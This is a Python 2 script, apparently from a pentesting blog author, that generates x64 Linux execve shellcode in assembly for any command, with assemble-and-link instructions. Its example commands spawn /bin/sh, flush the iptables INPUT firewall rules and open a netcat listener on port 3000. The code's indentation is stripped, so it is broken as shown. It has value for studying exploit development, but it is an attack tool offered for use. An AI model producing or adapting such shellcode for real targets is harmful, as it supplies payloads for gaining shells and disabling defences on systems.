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#!/usr/bin/env python

#

# Features:

#- Linux shellcode x64 assembly code generation

#- stack based (smaller payload size)

# - execve based

#- supports long commands (meaning bigger than an x64 register - 64 bits)

#- supports long parameters (meaning bigger than an x64 register - 64 bits)

#- one command only (execve will alter the current memory proc and when it exits there's no continuation)

#- supports command with up to 8 parameters

#

# Instructions

#- requires full path to the command

#- only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)

#- after having the x64 generated assembly code:

#- copy paste it into a file (in a Linux environment) - example.nasm

#- execute:

#nasm -felf64 example.nasm -o example.o && ld example.o -o example

#

# Author: Andre Lima @0x4ndr3

#https://pentesterslife.blog

#

########

command = "/bin/sh"

#command = "/sbin/iptables -F INPUT"

#command = "/bin/nc -lvp 3000"

#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):

return hex((val + (1 << nbits)) % (1 << nbits))

code = ""

code += "global _start\n"

code += "section .text\n"

code += "\n"

code += "_start:\n"

code += "push 59\n"

code += "pop rax\n"

code += "cdq\n"

code += "push rdx\n"

params = command.split(' ')

try:

params.remove('') # in case of multiple spaces in between params in the command - cleanup

except: # it throws an exception if it doesn't finds one

pass

if len(params[0]) % 8 != 0:

command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1

while iters >= 0:

block = command[iters*8:iters*8+8]

code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"

code += "push rbx\n"

iters -= 1

code += "push rsp\n"

code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]

i = 0

params = params[1:] # remove first element - command itself. we just want the params

if len(params) > len(aux_regs):

print "More than " + str(len(aux_regs)) + " parameters... Unsupported."

exit(1)

for p in params:

code += "push rdx\n"

if len(p) % 8 != 0:

p += "\x00"*(8-len(p)%8)

iters = len(p)/8 -1

while iters >= 0: # each param

block = p[iters*8:iters*8+8]

code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"

code += "not rbx\n"

code += "push rbx\n"

iters -= 1

code += "push rsp\n"

code += "pop " + aux_regs[i] + "\n"

i += 1

code += "push rdx\n"

code += "push rsp\n"

code += "pop rdx\n"

while i>0:

i -= 1

code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"

code += "push rsp\n"

code += "pop rsi\n"

code += "syscall\n"

print code